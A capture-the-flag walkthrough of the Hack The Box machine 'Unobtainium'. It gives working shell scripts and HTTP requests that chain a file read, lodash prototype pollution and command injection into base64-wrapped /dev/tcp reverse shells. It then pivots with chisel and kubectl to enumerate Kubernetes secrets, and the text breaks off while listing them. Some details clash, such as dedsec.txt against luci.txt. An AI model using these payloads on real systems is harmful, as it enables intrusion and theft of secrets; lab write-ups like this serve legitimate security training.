Hack-The-Box-walkthrough[Unobtainium]

introduce

OS: Linux
Difficulty: Hard
Points: 40
Release: 10 Apr 2021
IP: 10.10.10.235

  • my htb rank

information gathering

first use nmap as usaul

1
2
3
4
5
6
7
8
9
10
11
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.235
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
2379/tcp open ssl/etcd-client?
2380/tcp open ssl/etcd-server?
8443/tcp open ssl/https-alt
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
31337/tcp open http Node.js Express framework

There is a lot’s of ports open

Let’s start with port-80

Port-80

There is a simple html page.

Let’s download the .deb package, i am using kali linux

Unzip the file we got .deb package.

Let’s extract the files inside .deb package without installing them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# wget http://10.10.10.235/downloads/unobtainium_debian.zip
--2021-04-23 00:06:14-- http://10.10.10.235/downloads/unobtainium_debian.zip
正在连接 10.10.10.235:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:54853780 (52M) [application/zip]
正在保存至: “unobtainium_debian.zip”

unobtainium_debian.zip 100%[====================================================================>] 52.31M 1017KB/s 用时 96s

2021-04-23 00:07:50 (559 KB/s) - 已保存 “unobtainium_debian.zip” [54853780/54853780])

┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ls
unobtainium_debian.zip
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# unzip unobtainium_debian.zip
Archive: unobtainium_debian.zip
inflating: unobtainium_1.0.0_amd64.deb
extracting: unobtainium_1.0.0_amd64.deb.md5sum
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ls
unobtainium_1.0.0_amd64.deb unobtainium_1.0.0_amd64.deb.md5sum unobtainium_debian.zip
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# mkdir stuff
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# dpkg-deb -xv unobtainium_1.0.0_amd64.deb stuff
./
./usr/
./usr/share/
./usr/share/icons/
./usr/share/icons/hicolor/
./usr/share/icons/hicolor/32x32/
./usr/share/icons/hicolor/32x32/apps/
./usr/share/icons/hicolor/32x32/apps/unobtainium.png
./usr/share/icons/hicolor/48x48/
./usr/share/icons/hicolor/48x48/apps/
./usr/share/icons/hicolor/48x48/apps/unobtainium.png
./usr/share/icons/hicolor/256x256/
./usr/share/icons/hicolor/256x256/apps/
./usr/share/icons/hicolor/256x256/apps/unobtainium.png
./usr/share/icons/hicolor/128x128/
./usr/share/icons/hicolor/128x128/apps/
./usr/share/icons/hicolor/128x128/apps/unobtainium.png
...

Inside stuff/opt/unobtainium/ there is a executable called unobtainium

Let’s run that

1
2
3
4
5
6
7
8
9
┌──(root💀kali)-[~/hackthebox/machine/unobtainium/stuff/opt/unobtainium]
└─# ls
chrome_100_percent.pak libEGL.so libvulkan.so resources unobtainium
chrome_200_percent.pak libffmpeg.so LICENSE.electron.txt resources.pak v8_context_snapshot.bin
chrome-sandbox libGLESv2.so LICENSES.chromium.html snapshot_blob.bin vk_swiftshader_icd.json
icudtl.dat libvk_swiftshader.so locales swiftshader
┌──(root💀kali)-[~/hackthebox/machine/unobtainium/stuff/opt/unobtainium]
└─# ./unobtainium --no-sandbox
(node:2278) electron: The default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron. See https://github.com/electron/electron/issues/23506 for more information

We got the error Unable to reach unobtainium.htb.

Let’s add unobtainium.htb in our /etc/hosts file.

Let’s again open the executable and this time we don’t get error.

I think this executable contact to a server so for capture the packet i use wireshark on tun0.

And i am right when i click on Todo they send a POST req to the server.

Let’s check what was capture inside this POST req.

request:

1
2
3
4
5
6
7
8
9
10
11
POST /todo HTTP/1.1
Host: unobtainium.htb:31337
Connection: keep-alive
Content-Length: 73
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN

{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}

response:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 293
ETag: W/"125-tNs2+nU0UiQGmLreBy4Pj891aVA"
Date: Fri, 23 Apr 2021 04:21:51 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}

We got the creads.

It’s seems like Todo function has the capability to read files from the server.

For the simplicity i wrote a script to check if we also read file from the server?.

I also run the burp for capture the req.

Before running the script install the requirements for the script.

1
apt-get install jq
  • luci.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE=$1

cat - <<EOF > message.json
{
"auth":
{
"name":"felamos",
"password":"Winter2021"
},
"filename":"${FILE}"
}
EOF

CONTENT="$(curl -s \
-A "${UA}" \
-H "Content-Type: application/json" \
-d "$(cat message.json | jq -c)" \
-x "${PROXY}" \
http://${RHOST}:${RPORT}/todo \
| jq .content \
| sed -e 's/^.//' -e 's/.$//')"

printf "$CONTENT"

Got the req let’s send it to repeater and check the responce.

request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /todo HTTP/1.1

Host: unobtainium.htb:31337

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Content-Type: application/json

Content-Length: 65

Connection: close



{"auth":{"name":"felamos","password":"Winter2021"},"filename":""}

responese:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
HTTP/1.1 500 Internal Server Error

X-Powered-By: Express

Content-Security-Policy: default-src 'self'

X-Content-Type-Options: nosniff

Content-Type: text/html; charset=utf-8

Content-Length: 922

Date: Fri, 23 Apr 2021 06:10:17 GMT

Connection: close



<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: ENOENT: no such file or directory, open<br>
&nbsp; &nbsp;at Object.openSync (fs.js:476:3)<br>
&nbsp; &nbsp;at Object.readFileSync (fs.js:377:35)<br>
&nbsp; &nbsp;at /usr/src/app/index.js:86:41<br>
&nbsp; &nbsp;at Array.forEach (&lt;anonymous&gt;)<br>
&nbsp; &nbsp;at /usr/src/app/index.js:84:36<br>
&nbsp; &nbsp;at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)<br>
&nbsp; &nbsp;at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)<br>
&nbsp; &nbsp;at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)<br>
&nbsp; &nbsp;at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)<br>
&nbsp; &nbsp;at /usr/src/app/node_modules/express/lib/router/index.js:281:22</pre>
</body>
</html>

It’s said No such file or directory found because we don’t give any filename and we also see a interesting file called index.js.

Let’s add index.js inside filename.

request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /todo HTTP/1.1

Host: unobtainium.htb:31337

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Content-Type: application/json

Content-Length: 73

Connection: close



{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}

responese:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8

Content-Length: 3655

ETag: W/"e47-um36vrYJPOpeanAA6s8aoKWsrsA"

Date: Fri, 23 Apr 2021 06:14:16 GMT

Connection: close



{"ok":true,"content":"var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\"); \nconst bodyParser = require('body-parser'); \nconst _ = require('lodash'); \nconst app = express();\nvar fs = require('fs');\n \nconst users = [ \n {name: 'felamos', password: 'Winter2021'},\n {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true}, \n];\n\nlet messages = []; \nlet lastId = 1; \n \nfunction findUser(auth) { \n return users.find((u) => \n u.name === auth.name && \n u.password === auth.password); \n} \n \napp.use(bodyParser.json()); \n \napp.get('/', (req, res) => { \n res.send(messages); \n}); \n \napp.put('/', (req, res) => { \n const user = findUser(req.body.auth || {}); \n \n if (!user) { \n res.status(403).send({ok: false, error: 'Access denied'}); \n return;\n }\n\n const message = {\n icon: '__',\n };\n\n _.merge(message, req.body.message, {\n id: lastId++,\n timestamp: Date.now(),\n userName: user.name,\n });\n\n messages.push(message);\n res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n const user = findUser(req.body.auth || {});\n\n if (!user || !user.canDelete) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n messages = messages.filter((m) => m.id !== req.body.messageId);\n res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n const user = findUser(req.body.auth || {});\n if (!user || !user.canUpload) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n\n filename = req.body.filename;\n root.upload(\"./\",filename, true);\n res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n\tconst user = findUser(req.body.auth || {});\n\tif (!user) {\n\t\tres.status(403).send({ok: false, error: 'Access denied'});\n\t\treturn;\n\t}\n\n\tfilename = req.body.filename;\n testFolder = \"/usr/src/app\";\n fs.readdirSync(testFolder).forEach(file => {\n if (file.indexOf(filename) > -1) {\n var buffer = fs.readFileSync(filename).toString();\n res.send({ok: true, content: buffer});\n }\n });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"}

We got the index.js but it in bad format.

After Beautify the file we got this.

  • Index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

let messages = [];
let lastId = 1;

function findUser(auth) {
return users.find((u) =>
u.name === auth.name &&
u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/', (req, res) => {
res.send(messages);
});

app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});

if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}

const message = {
icon: '__',
};

_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});

messages.push(message);
res.send({ok: true});
});

app.delete('/', (req, res) => {
const user = findUser(req.body.auth || {});

if (!user || !user.canDelete) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}

messages = messages.filter((m) => m.id !== req.body.messageId);
res.send({ok: true});
});
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}


filename = req.body.filename;
root.upload("./",filename, true);
res.send({ok: true, Uploaded_File: filename});
});

app.post('/todo', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}

filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});

app.listen(3000);
console.log('Listening on port 3000...');

After reading the file i found nothing interesting but i am sure that it’s using react or nodejs or something like that if the server uses that so there is a file called package.json which has the list of npm packages used and we also find vulnerability for that specific packages.

request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /todo HTTP/1.1

Host: unobtainium.htb:31337

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Content-Type: application/json

Content-Length: 77

Connection: close



{"auth":{"name":"felamos","password":"Winter2021"},"filename":"package.json"}

responese:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8

Content-Length: 487

ETag: W/"1e7-nNVooCaQU8RTLCaxUyITOmGY9A8"

Date: Fri, 23 Apr 2021 06:21:02 GMT

Connection: close



{"ok":true,"content":"{\n \"name\": \"Unobtainium-Server\",\n \"version\": \"1.0.0\",\n \"description\": \"API Service for Electron client\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"start\": \"node index.js\"\n },\n \"author\": \"felamos\",\n \"license\": \"ISC\",\n \"dependencies\": {\n \"body-parser\": \"1.18.3\",\n \"express\": \"4.16.4\",\n \"lodash\": \"4.17.4\",\n \"google-cloudstorage-commands\": \"0.0.1\"\n },\n \"devDependencies\": {}\n}\n"}

After beautify the package.json and we got this

  • package.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"name": "Unobtainium-Server",
"version": "1.0.0",
"description": "API Service for Electron client",
"main": "index.js",
"scripts": {
"start": "node index.js"
},
"author": "felamos",
"license": "ISC",
"dependencies": {
"body-parser": "1.18.3",
"express": "4.16.4",
"lodash": "4.17.4",
"google-cloudstorage-commands": "0.0.1"
},
"devDependencies": {}
}
  • Prototype Pollution
  • Command Injection

With the help of Lodash -> Prototype Pollution we give ourself a permission of upload & delete with changing canDelete and canUpload to be True.

And with help of google-cloudstorage-commands -> Command Injection We can execute commands on server.

So let’s first give ourself a permission to upload file and delete files

For that i create a script to keep things simple.

  • Exploit.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
TEXT="$1"

cat - <<EOF > message.json
{
"auth":
{
"name":"felamos",
"password":"Winter2021"
},
"message":
{
"text":${TEXT}
}
}
EOF

curl -s \
-X PUT \
-A "${UA}" \
-H "Content-Type: application/json" \
-d "$(cat message.json | jq -c)" \
-x "${PROXY}" \
"http://${RHOST}:${RPORT}/" \
| jq .

Let’s run the exploit

Imp -> before running the exploit intercept the request and forward the req becuase we use proxy inside exploit.

1
2
3
4
5
6
7
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# chmod +x Exploit.sh
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ./Exploit.sh '{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}'
{
"ok": true
}

It’s responce is true means now we have the permission.

Let’s check we can write in a file or not.

I create another one exploit to write in a file.

  • exploit_stage2.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE="& echo dedsec | tee dedsec.txt"

cat - <<EOF > message.json
{
"auth":
{
"name":"felamos",
"password":"Winter2021"
},
"filename":"${FILE}"
}
EOF

curl -s \
-A "${UA}" \
-H "Content-Type: application/json" \
-d "$(cat message.json | jq -c)" \
-x "${PROXY}" \
-o /dev/null \
"http://${RHOST}:${RPORT}/upload"

The exploit write the content “lUc1f3r11” inside luci.txt.

Now let’s run the exploit and capture the req in burp.

1
2
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ./exploit_stage2.sh

It’s said true. it’s means we should be able to read luci.txt and get the content lUc1f3r11 inside luci.txt.

Just change filename to dedsec.txt for view the content inside that.

request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /todo HTTP/1.1

Host: unobtainium.htb:31337

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Content-Type: application/json

Content-Length: 73

Connection: close



{"auth":{"name":"felamos","password":"Winter2021"},"filename":"luci.txt"}

responese:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8

Content-Length: 35

ETag: W/"23-jxpbX4j3xXL3aDkAakKEYbVg4Rc"

Date: Fri, 23 Apr 2021 06:50:52 GMT

Connection: close



{"ok":true,"content":"lUc1f3r11\n"}

And we see lUc1f3r11 inside luci.txt Now let’s try to get reverse shell through that.

Just add the reverse shell inside filename.

Before send req start your netcat listner.

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: unobtainium.htb:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Content-Type: application/json
Content-Length: 151
Connection: close

{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo $(echo 'bash -i >& /dev/tcp/10.10.14.3/9001 0>&1' | base64) | base64 -d | bash"}

Let’s check the netcat listner.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# nc -lvp 9001
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.235.
Ncat: Connection from 10.10.10.235:57654.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-5d764566f4-h5zhw:/usr/src/app# id
id
uid=0(root) gid=0(root) groups=0(root)
root@webapp-deployment-5d764566f4-h5zhw:/usr/src/app# whoami
whoami
root

Boom we got the shell.

First Let’s get our user.txt inside /root/.

1
2
3
4
5
6
root@webapp-deployment-5d764566f4-h5zhw:~# ls
ls
user.txt
root@webapp-deployment-5d764566f4-h5zhw:~# cat user.txt
cat user.txt
a6649836e48c4a2fef53804d75c1c1f3

Privilege escalation

And if you notice we are root i think it’s a docker container.

Anyway let’s run linpeas.

there is a cronjob running that removes kubectl in the container every minute.

But there is no kubectl executable in the container.

Let’s download a kubectl executable and transfer it in docker inside /tmp folder.

  • Install and Set Up kubectl on Linux
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 154 100 154 0 0 107 0 0:00:01 0:00:01 --:--:-- 107
100 44.2M 100 44.2M 0 0 2972k 0 0:00:15 0:00:15 --:--:-- 3193k
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ls
Exploit.sh kubectl message.json unobtainium_1.0.0_amd64.deb unobtainium_debian.zip
exploit_stage2.sh luci.sh stuff unobtainium_1.0.0_amd64.deb.md5sum
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

We change the name of kubectl to xkubectl to avoid being removed by the cron job.

1
2
3
4
5
6
7
8
9
root@webapp-deployment-5d764566f4-h5zhw:/tmp# wget http://10.10.14.3:8000/kubectl -o xkubectl

root@webapp-deployment-5d764566f4-h5zhw:/tmp# ls -la
ls -la
total 45364
drwxrwxrwt 1 root root 4096 Apr 23 07:25 .
drwxr-xr-x 1 root root 4096 Apr 22 19:28 ..
drwxr-xr-x 3 root root 4096 Feb 21 22:43 v8-compile-cache-0
-rw-r--r-- 1 root root 46436352 Apr 23 07:10 xkubectl

Now let’s first check the version of kubectl.

1
2
3
4
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl version --short
./xkubectl version --short
Client Version: v1.21.0
Server Version: v1.20.0

Now let’s see current rights with kubectl with privileged resources like secrets.

1
2
3
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list secrets
<66f4-h5zhw:/tmp# ./xkubectl auth can-i list secrets
no

let’s check about namespaces.

1
2
3
4
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list namespaces
<4-h5zhw:/tmp# ./xkubectl auth can-i list namespaces
Warning: resource 'namespaces' is not namespace scoped
yes

Let’s list all the namespaces.

1
2
3
4
5
6
7
8
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl get namespace
./xkubectl get namespace
NAME STATUS AGE
default Active 96d
dev Active 95d
kube-node-lease Active 96d
kube-public Active 96d
kube-system Active 96d
1
2
3
4
5
6
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list secrets -n dev
<zhw:/tmp# ./xkubectl auth can-i list secrets -n dev
no
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list secrets -n kube-system
<# ./xkubectl auth can-i list secrets -n kube-system
no

We don’t have permission of any namespaces.

Let’s check if we have permission of pods or not in the dev namespaces.

1
2
3
4
5
6
7
8
9
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list pods -n dev
<-h5zhw:/tmp# ./xkubectl auth can-i list pods -n dev
yes
root@webapp-deployment-5d764566f4-h5zhw:/tmp#
./xkubectl get pods -n dev
NAME READY STATUS RESTARTS AGE
devnode-deployment-cd86fb5c-6ms8d 1/1 Running 28 95d
devnode-deployment-cd86fb5c-mvrfz 1/1 Running 29 95d
devnode-deployment-cd86fb5c-qlxww 1/1 Running 29 95d
  • Pods

A Kubernetes cluster can have one or more nodes. Each node can have one or more Pods. Each Pod can have one or more running containers.

And we see in the previous command there is three Pods each with a running container in the dev namespace.

Let’s list the description of one of the Pods.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
root@webapp-deployment-5d764566f4-h5zhw:/tmp# .//xkubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev
<scribe pod/devnode-deployment-cd86fb5c-6ms8d -n dev
Name: devnode-deployment-cd86fb5c-6ms8d
Namespace: dev
Priority: 0
Node: unobtainium/10.10.10.235
Start Time: Sun, 17 Jan 2021 18:16:21 +0000
Labels: app=devnode
pod-template-hash=cd86fb5c
Annotations: <none>
Status: Running
IP: 172.17.0.5
IPs:
IP: 172.17.0.5
Controlled By: ReplicaSet/devnode-deployment-cd86fb5c
Containers:
devnode:
Container ID: docker://bf852df0b8a7e049a21983112b178bfd65a3e27180c7463b441a7de2aeb1aedb
Image: localhost:5000/node_server
Image ID: docker-pullable://localhost:5000/node_server@sha256:f3bfd2fc13c7377a380e018279c6e9b647082ca590600672ff787e1bb918e37c
Port: 3000/TCP
Host Port: 0/TCP
State: Running
Started: Thu, 22 Apr 2021 19:28:37 +0000
Last State: Terminated
Reason: Error
Exit Code: 137
Started: Wed, 24 Mar 2021 16:01:28 +0000
Finished: Wed, 24 Mar 2021 16:02:13 +0000
Ready: True
Restart Count: 28
Environment: <none>
Mounts:
/var/run/secrets/kubernetes.io/serviceaccount from default-token-rmcd6 (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
default-token-rmcd6:
Type: Secret (a volume populated by a Secret)
SecretName: default-token-rmcd6
Optional: false
QoS Class: BestEffort
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events: <none>

If you notice the difference i am in a webapp-deployment container enumerating devnode-deployment containers in Pods running in the dev namespace.

We are looking at two different environments, the classic production environment and the development environment. I should be able to repeat the steps i just have to make the RHOST and RPORT variables and upload them to the container I’m currently in above to get another foothold in the development environment.

For that we need to forward the port to the devnode-deployment container “172.17.0.5:3000”

I am using Chisel for that.

If you don’t known how to use chisel or how to download it check this out.

  • chisel

First i run chisel in my kali linux to open a server.

1
2
3
4
5
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ./chisel server -p 9999 --reverse
2021/04/23 04:10:20 server: Reverse tunnelling enabled
2021/04/23 04:10:20 server: Fingerprint 2a:06:15:bf:71:4e:28:c7:fe:4e:bc:35:24:70:cb:09
2021/04/23 04:10:20 server: Listening on http://0.0.0.0:9999

Now transfer the chisel in box and and execute as client.

1
2
3
4
5
6
7
8
9
10
11
12
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ls
ls
chisel
v8-compile-cache-0
xkubectl
root@webapp-deployment-5d764566f4-h5zhw:/tmp# chmod +x chisel
chmod +x chisel
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./chisel client 10.10.14.3:9999 R:3000:172.17.0.5:3000
<hisel client 10.10.14.3:9999 R:3000:172.17.0.5:3000
2021/04/23 08:14:50 client: Connecting to ws://10.10.14.3:9999
2021/04/23 08:14:52 client: Fingerprint 2a:06:15:bf:71:4e:28:c7:fe:4e:bc:35:24:70:cb:09
2021/04/23 08:14:55 client: Connected (Latency 653.764518ms)

Now we are connected let’s give us permission for canDelete and canUpload.

I again made the script for give permissions devnode-deployment container.

  • read_write.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash

RHOST="127.0.0.1"
RPORT=3000
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
TEXT="$1"

cat - <<EOF > message.json
{
"auth":
{
"name":"felamos",
"password":"Winter2021"
},
"message":
{
"text":${TEXT}
}
}
EOF

curl -s \
-X PUT \
-A "${UA}" \
-H "Content-Type: application/json" \
-d "$(cat message.json | jq -c)" \
-x "${PROXY}" \
"http://${RHOST}:${RPORT}/" \
| jq .

Imp -> before running the exploit intercept the request and forward the req becuase we use proxy inside exploit.

Now we all set let’s run the exploit.

1
2
3
4
5
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ./read_write.sh '{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}'
{
"ok": true
}

For reverse shell i create another script.

  • rev.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash

RHOST="127.0.0.1"
RPORT=3000
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE=$1

cat - <<EOF > message.json
{
"auth":
{
"name":"felamos",
"password":"Winter2021"
},
"filename":"${FILE}"
}
EOF

curl -s \
-A "${UA}" \
-H "Content-Type: application/json" \
-d "$(cat message.json | jq -c)" \
-x "${PROXY}" \
-o /dev/null \
"http://${RHOST}:${RPORT}/upload"

Now let’s get our reverse shell with devnode-deployment.

1
2
3
4
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# chmod +x rev.sh
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ./rev.sh "& echo $(echo 'bash -i >& /dev/tcp/10.10.14.3/9002 0>&1' | base64) | base64 -d | bash"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root💀kali)-[~]
└─# nc -lvp 9002
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 10.10.10.235.
Ncat: Connection from 10.10.10.235:48266.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@devnode-deployment-cd86fb5c-6ms8d:/usr/src/app# id
id
uid=0(root) gid=0(root) groups=0(root)
root@devnode-deployment-cd86fb5c-6ms8d:/usr/src/app# whoami
whoami
root

Boom we got the shell as devnode-deployment.

Now again tranfer the kubectl executable in the box and check if we list secrets now.

1
2
3
4
5
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# chmod +x kubectl
chmod +x kubectl
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl auth can-i list secrets -n kube-system
<p# ./kubectl auth can-i list secrets -n kube-system
yes

Yes we have the permission now Let get the secrets.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl get secrets -n kube-system
<5c-6ms8d:/tmp# ./kubectl get secrets -n kube-system
NAME TYPE DATA AGE
